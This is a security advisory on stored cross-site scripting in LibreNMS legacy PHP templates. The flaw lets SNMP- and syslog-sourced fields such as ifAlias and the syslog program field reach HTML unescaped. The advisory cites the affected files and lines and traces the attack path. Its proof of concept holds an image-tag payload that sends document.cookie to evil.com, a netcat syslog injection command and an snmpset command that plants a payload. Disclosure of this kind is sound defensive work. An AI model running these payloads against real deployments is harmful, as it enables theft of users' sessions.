OSV 1.4.0 · github-reviewed · 修改于 2026-08-27 02:05
发布时间
2026-08-27 02:05
GitHub 审查时间
2026-08-27 02:05
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-7w8c-qgxg-m7jx/GHSA-7w8c-qgxg-m7jx.json
Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.
program field (clearest instance)File: includes/html/print-syslog.inc.php:11,13
$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';
The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.
ifAlias (highest impact — main alerts page)File: includes/html/functions.inc.php:607
$fault_detail .= $tmp_alerts['ifAlias'] . '; ';
The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, format_alert_details() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), service_desc/service_message (lines 656,658), bgpPeerDescr (line 672), mempool_descr (line 686), app_type (line 709).
mempool_descr, storage_descr, sensor_descrFile: includes/html/pages/device/health/mempool.inc.php:38
echo "<h3 class='panel-title'>{$mempool->mempool_descr} ...";
File: includes/html/pages/device/health/storage.inc.php:27
echo "<h3 class='panel-title'>{$drive['storage_descr']} ...";
File: includes/html/pages/device/health/sensors.inc.php:29
echo "<h3 class='panel-title'>$sensor_descr ...";
All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.
ifAliasFile: includes/html/pages/pseudowires.inc.php:76
echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';
ifAliasFile: includes/html/pages/routing/vrf.inc.php:165
echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';
Attacker-controlled SNMP device/syslog source
→ SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)
→ OR syslog receiver stores program field in syslog table
→ Authenticated user views alerts/health/syslog page
→ Legacy PHP template echoes raw value into HTML
→ XSS executes in victim's browser session
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">ports table# Send syslog message with XSS in program field
# Assuming LibreNMS syslog receiver is at 10.0.0.1:514
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514
# On attacker-controlled SNMP device, set interface description:
# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'
# LibreNMS will poll this during next discovery/polling cycle
Newer Blade templates and some legacy code properly escape SNMP data:
includes/html/dev-overview-data.inc.php uses Clean::html() for sysDescr, sysName, hardwareapp/Http/Controllers/Device/Tabs/PortsController.php uses htmlentities() on ifAliasapp/Http/Controllers/Table/EventlogController.php:97 uses htmlspecialchars() on message{{ }} auto-escapingThe vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.